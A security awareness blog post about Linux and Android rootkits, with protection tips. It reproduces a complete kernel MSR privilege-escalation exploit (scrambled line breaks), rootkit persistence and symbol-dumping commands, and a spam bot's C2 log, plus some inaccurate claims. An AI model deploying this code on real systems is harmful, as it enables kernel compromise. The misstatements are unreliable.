What You Must Know About Linux Rootkits
Imagine that you’re using your PC, server, smartphone or tablet. The operating system and applications on it aren’t behaving the way they usually do.
You pull up Google’s search page in your web browser. You get redirected to a web page filled with blinking web banners saying “Your computer has 6,666 viruses! Click here to remove them now!”
Britney Spears is your guilty pleasure. You pop a CD of her Blackout album into your laptop’s optical drive, the one you bought from HMV back in 2007. Instead of your default music application playing the sweet sounds of “Gimme More,” a window pops up. “This CD needs a special program to play it. Click here!”
You navigate back to your desktop. You double-click on the iTunes icon. Instead of iTunes launching, something else does. “Hot Russian chicks… They’re lonely, horny and desperate! They want to talk to YOU! Click here!”
Your best friend calls you on your Android smartphone. “Why do you keep texting me about the ‘one weird trick’ for losing weight?”
Anyone who’s reasonably familiar with computer technology could probably guess that malware is the culprit to all that calamity.
In my IT security career, I interact with both end users and computing professionals from all walks of life. There’s so much Windows targetting malware that’s been circulating through the internet for the past couple of decades that most Windows users, even when they use currently patched antivirus shields, are all too familiar with many of the symptoms of infection.
It’s also a popular myth that malware is exclusively a Windows problem. Many Apple fans say, “I don’t need an antivirus program, I use a Mac!”
And although x86 Linux distro users tend to be more technologically savvy than most, many of them, even those who work in IT, would never consider malware to be a possibility on their platform of choice.
Malware is one of my primary areas of professional focus and study. I’ve rescued datacenters from malware that has crippled their entire internal networks.
I’ve said this time and time again; any computer that can receive outside data, whether via networking or removable media, can become infected with malware. The only way to guarantee that a computer, whether it’s a PC, server, smartphone, tablet, or embedded system, will never get infected is by thoroughly examining its data storage on disks and firmware, and then completely cutting it off from networking and removable media. And that’s simply not plausible, especially in the 21st century.
Your typical end user probably never sees Ubuntu, Fedora, or Linux Mint. But they’re using the Linux kernel, likely every single day.
More than half of all web servers run a Linux distro with Apache operated HTTP/HTTPS services.
Android, on both smartphones and tablets, now has greater mobile marketshare than Apple’s iOS. Although Android is mainly proprietary Java code, there’s an open source Linux kernel underneath.
So, possibly billions of people are using Linux everyday, and they don’t even know it.
Of course, Linux is simply a kernel. What kind of malware targets kernels? Rootkits!
Unlike many other types of malware, rootkits don’t self-propagate. Something must deliver the rootkit. It could be a virus, which attaches itself to program files or other code. It could be a worm that spreads through a network like wildfire. It could be a flash media USB stick that your buddy lent you with their family vacation photos on it. It could even be a popular webpage which uses server-side scripting technology like JavaScript. And most malware-infected webpages weren’t designed maliciously. There may be vulnerabilities in the code, and a web malware distributing bot took advantage.
The blackhats who script rootkits don’t always fit the “hacker” stereotype. At least one multibillion dollar corporation was caught redhanded back in 2005, Sony. Sony/BMG is Britney Spears’ record label, and they also are the label for a large percentage of the most popular rock stars and bands.
Sony/BMG, like the other major players in the music industry, have been stressed out over lost profit from music piracy since Napster became a phenomenon in 1999. So, many CDs of Billboard’s bestselling albums that Sony sold from roughly 2005 to 2007 had rootkits hidden on them.
One of the first rootkits Sony/BMG developed, XCP, was discovered by IT security researcher Mark Russinovich on October 31st, 2005. No mention of its existance was ever in any pertinent end user license agreement.
Although the rootkit was designed to prevent consumers from ripping music files from Sony/BMG CDs to pirate through the internet, the rootkit also created countless vulnerabilities that more common types of malware could exploit, with devastating consequences.
The incident was definitely a bad PR move for Sony.
XCP and Sony’s other rootkits from that time period targetted Windows client OSes only. But that’s probably because Sony knew that at the time, the overwhelming majority of PC users ran Windows. Also, it’s bloody easy to write malware in Visual Studio. Many of the scripts that script kiddies use, even now, are written in that proprietary Microsoft IDE.
But blackhats, whether they’re prototypical criminals or employees of large corporations, are usually now aware that most web servers and mobile devices run a Linux kernel.
Linux rootkits have already been identified.
In November 2012, a scary Linux rootkit was a hot topic in the tech media world. It targetted Linux server distros that were based on Debian. The specific Linux kernel version it exploited was 2.6.32–5-amd64.
By penetrating the kernel, it would then propagate via webpage embedded JavaScript code that works with the HTML <iframe> tag.
Researchers at Kaspersky Lab and CrowdStrike did a thorough analysis.
Marta Janus of Kaspersky Lab wrote, “The malware ensures its startup by adding an entry to the /etc/rc.local script: insmod /lib/modules/2.6.32–5-amd64/kernel/sound/module_init.ko. After loading into memory, the rootkit uses one of two methods to retrieve kernel symbols and write them to the /.kallsyms_tmp file:
/bin/bash -c cat /proc/kallsyms > /.kallsyms_tmp
/bin/bash -c cat /boot/System.map-`uname -r` > /.kallsyms_tmp
Then it extracts the memory addresses of several kernel functions and variables and stores them in the memory for the later use.”
By infecting 2.6.32–5-amd64 based web servers, the rootkit would generate <iframe> HTML code into webpages via PHP. The new <iframe> tags would redirect web surfers to malicious webpages that could behave as spyware, or infect surfers’ machines with even more destructive malware.
On December 29th, 2011, StackExchange user Olier Saari posted that his Linux-based server was generating spam. He found Perl code that he suspected was part of the rootkit. The following are the results of his testing and modifications, pasted from Bash.
server:~#
perl spam_sciptwget
version is 11Set
browser wgetWarning:
bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.htmlRunned
postfix found, use /usr/sbin/sendmailProbe
host redacted.infoGo
https://ibkxluxisp.redacted.info:1905//b/index.php?id=5cb885d577c7bbacdae44dd9f7f86b641ad60d58b1b9df07b97953a70376ec47&check=1Generate
host ibkxluxisp.redacted.info:1905https://ibkxluxisp.redacted.info:1905//b/index.php?id=5fb58ad575c14b08785ae5255ffbf83c9f561d18e961b2eb96dc5a058a41&version=18&sent=0&user=584e6388c671f38756eac21cecserver:~#
perl spam_sciptwget
version is 11Set
browser wgetWarning:
bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.htmlRunned
postfix found, use /usr/sbin/sendmailProbe
host redacted.infoGo
https://wodhvqubux.redacted.info:1905//b/index.php?id=5cb186d575c44b1e5174c7c111636063b338bc3ef4d46e4533036eded038a7&check=1Generate
host wodhvqubux.redacted.info:1905https://wodhvqubux.redacted.info:1905//b/index.php?id=5a497fe86dde12da162b6460bb8cd215966679ad7bf97338b9b6c2e741fe&version=18&sent=0&user=544c648ace7ff7834db9fadf36bdserver:~#
;
For every single Linux rootkit that someone discovers and posts about online, there have got to be many more that only the blackhats who developed them know about.
Here’s another example. Before the 3.7.6 version of the Linux kernel was released, there was a vulnerability in the msr_open function located in arch/x86/kernel/msr.c. It allowed rootkits to bypass root in a restricted user account to inject and launch malicious code.
Spender, the handle of a user at grsecurity.net, wrote a script designed to exploit that vulnerability. Here it is, in its entirety.
//
PoC exploit for /dev/cpu/*/msr, 32bit userland on a 64bit host//
can do whatever in the commented area, re-enable module support, etc//
requires CONFIG_X86_MSR and just uid 0//
a small race exists between the time when the MSR is written to the
first//
time and when we issue our sysenter//
we additionally require CAP_SYS_NICE to make the race win nearly
guaranteed//
configured to take a hex arg of a dword pointer to set to 0//
(modules_disabled, selinux_enforcing, take your pick)////
Hello to Red Hat, who has shown yet again to not care until a//
public exploit is released. Not even a bugzilla entry existed in//
their system until this was published -- and they have a paid team//
of how many? (who aren't satisfied until I do all of their work for//
free, apparently://
https://twitter.com/kurtseifried/status/299327878233985024 )//
It's not as if I didn't mention the problem and existence of an easy//
exploit multiple times prior://
https://twitter.com/grsecurity/status/298977370776432640//
https://twitter.com/grsecurity/status/297365303095078912//
https://twitter.com/grsecurity/status/297189488638181376//
https://twitter.com/grsecurity/status/297030133628416000//
https://twitter.com/grsecurity/status/297029470072745984//
https://twitter.com/grsecurity/status/297028324134359041////
spender 2013#define
_GNU_SOURCE#include
<stdio.h>#include
<sched.h>#include
<unistd.h>#include
<sys/types.h>#include
<sys/stat.h>#include
<fcntl.h>#include
<stdlib.h>#include
<sys/time.h>#include
<sys/resource.h>#include
<sys/mman.h>#define
SYSENTER_EIP_MSR 0x176u_int64_t
msr;unsigned
long ourstack[65536];u_int64_t
payload_data[16];extern
void *_ring0;extern
void *_ring0_end;void
ring0(void){__asm
volatile(".globl _ring0\n""_ring0:\n"".intel_syntax
noprefix\n"".code64\n"//
set up stack pointer with 'ourstack'"mov
esp, ecx\n"//
save registers, contains the original MSR value"push
rax\n""push
rbx\n""push
rcx\n""push
rdx\n"//
play with the kernel here with interrupts disabled!"mov
rcx, qword ptr [rbx+8]\n""test
rcx, rcx\n""jz
skip_write\n""mov
dword ptr [rcx], 0\n""skip_write:\n"//
restore MSR value before returning"mov
ecx, 0x176\n" // SYSENTER_EIP_MSR"mov
eax, dword ptr [rbx]\n""mov
edx, dword ptr [rbx+4]\n""wrmsr\n""pop
rdx\n""pop
rcx\n""pop
rbx\n""pop
rax\n""sti\n""sysexit\n"".code32\n"".att_syntax
prefix\n"".global
_ring0_end\n""_ring0_end:\n");}unsigned
long saved_stack;int
main(int argc, char *argv[]){cpu_set_t
set;int
msr_fd;int
ret;u_int64_t
new_msr;struct
sched_param sched;u_int64_t
resolved_addr = 0ULL;if
(argc == 2)resolved_addr
= strtoull(argv[1], NULL, 16);/*
can do this without privilege */mlock(_ring0,
(unsigned long)_ring0_end - (unsigned long)_ring0);mlock(&payload_data,
sizeof(payload_data));CPU_ZERO(&set);CPU_SET(0,
&set);sched.sched_priority
= 99;ret
= sched_setscheduler(0, SCHED_FIFO, &sched);if
(ret) {fprintf(stderr,
"Unable to set priority.\n");exit(1);}ret
= sched_setaffinity(0, sizeof(cpu_set_t), &set);if
(ret) {fprintf(stderr,
"Unable to set affinity.\n");exit(1);}msr_fd
= open("/dev/cpu/0/msr", O_RDWR);if
(msr_fd < 0) {msr_fd
= open("/dev/msr0", O_RDWR);if
(msr_fd < 0) {fprintf(stderr,
"Unable to open /dev/cpu/0/msr\n");exit(1);}}lseek(msr_fd,
SYSENTER_EIP_MSR, SEEK_SET);ret
= read(msr_fd, &msr, sizeof(msr));if
(ret != sizeof(msr)) {fprintf(stderr,
"Unable to read /dev/cpu/0/msr\n");exit(1);}//
stuff some addresses in a buffer whose address we//
pass to the "kernel" via registerpayload_data[0]
= msr;payload_data[1]
= resolved_addr;printf("Old
SYSENTER_EIP_MSR = %016llx\n", msr);fflush(stdout);lseek(msr_fd,
SYSENTER_EIP_MSR, SEEK_SET);new_msr
= (u_int64_t)(unsigned long)&_ring0;printf("New
SYSENTER_EIP_MSR = %016llx\n", new_msr);fflush(stdout);ret
= write(msr_fd, &new_msr, sizeof(new_msr));if
(ret != sizeof(new_msr)) {fprintf(stderr,
"Unable to modify /dev/cpu/0/msr\n");exit(1);}__asm
volatile(".intel_syntax
noprefix\n"".code32\n""mov
saved_stack, esp\n""lea
ecx, ourstack\n""lea
edx, label2\n""lea
ebx, payload_data\n""sysenter\n""label2:\n""mov
esp, saved_stack\n"".att_syntax
prefix\n");printf("Success.\n");return
0;}
People like Spender write these scripts so that OS developers can learn how to security harden their kernels against rootkits.
I’ve barely scratched the surface. The possibilities of Linux rootkits are endless.
Although typical end users interact with Linux servers via client machines running Windows, or the BSD/UNIX based Mac OS X and iOS, the one Linux based OS that end users frequently interact with directly is Android.
Yes, Android rootkits are Linux rootkits.
In 2011, a Reddit user who goes by the handle Lompolo discovered that there were a number of apps that were available in the Android Market (now known as the Google Play Store) that were trojans with Android rootkit code. The developers of the trojan apps went under “Myournet,” “Kingmall2010,” and “we20090202.” Some of the names of those various apps were “Super Guitar Solo,” “Hot Sexy Videos,” “Chess,” “Scientific Calculator,” and “Advanced App to SD.”
Benn of Intrepdius Group Mobile Security found some Android rootkit code which is likely very similiar to the code found in those trojans.
That sort of scripting can have disasterous effects on an Android device. Spambotting, SMS malware propagation, Android rogue AVs, spyware… the possibilities are endless.
Anyone can upload apps to the Google Play Store, but Google puts a lot of effort into removing malicious apps from the store as soon as they become aware of them. Then, they ban the developer’s Google Play Store account. That’s wonderful, but useless for zero-day attacks.
So, what can you do to prevent yourself from becoming a victim of a Linux rootkit? There’s no way to eliminate the risk 100%, but there are excellent things you can do to protect yourself and your devices.
ClamAV develops an excellent open source antivirus shield that can run in most x86 Linux distros, both client and server. Their development team constantly looks for Linux specific threats and vulnerabilities, and they distribute new malware signatures almost daily. I strongly endorse running ClamAV on all types of x86 Linux machines.
Also, make sure that the Linux distros of your choice are configured to install security patches as frequently as possible. Even more importantly, make sure your OSes use the latest stable Linux kernels. Linux kernel developers constantly work on finding vulnerabilities and patching them.
If you’re like me, and you have an Android device, go to the Google Play Store and install Lookout Mobile Security. Its AV shield is free of charge, and it also patches frequently. There’s also now a version of Malwarebytes Anti-Malware for Android. It won’t conflict with your Lookout AV shield, and you can use it periodically to scan for malware. Just be wary of false positives! Many people would rather not admit it, but pirated and cracked commercial Android apps are very popular. The cracks that many of those pirated apps have are designed to overcome Android’s DRM, but may not have any malicious effect on your Android device. If you’re going to take a risk and install cracked apps, proceed with caution. Of course, I don’t advocate software piracy. If you really like a cracked app that you installed on your Android device, please buy a legitimate install as soon as you can afford it. Most Android developers are individuals or small businesses, and they can’t keep developing the utilities and games that you love if they can’t make any money.
As I mentioned, computers that run Windows, OS X, iOS and other non-Linux operating systems can still get infected via rootkits on Linux servers. No operating system is immune to malware. Clam, Lookout and Kaspersky all develop excellent AV shields for Windows, OS X, iOS, BlackBerry, and UNIX OSes such as OpenBSD. Like in desktop Linux distros, make sure that all of your operating systems get security patches as soon as they become available.
Finally, whatever the applications are, for any operating system, it’s prudent to do your research before you consider installing them. The web is your friend! Do a web search for the application’s name. Ignore whatever advertising or PR that you find. Read what other “computer geeks” have been writing about them in various forums. It’s also good to read third-party reviews for utilities and games in respected online and print magazines.
The realm of Linux rootkits is constantly evolving, so it’s best to keep up with the news and be aware. It’s a risk that affects all of us.
Did you enjoy this article?
Want more?
Help support my Patreon.
Thank you, thank you, thank you!
My name is Kim Crawley, and I’m an information security geek who also develops games on the side. Please support the Kickstarter for my new game Hackers Versus Banksters, a visual novel about revenge! You can also check out the free demo for Windows, Mac OS X, and Linux.
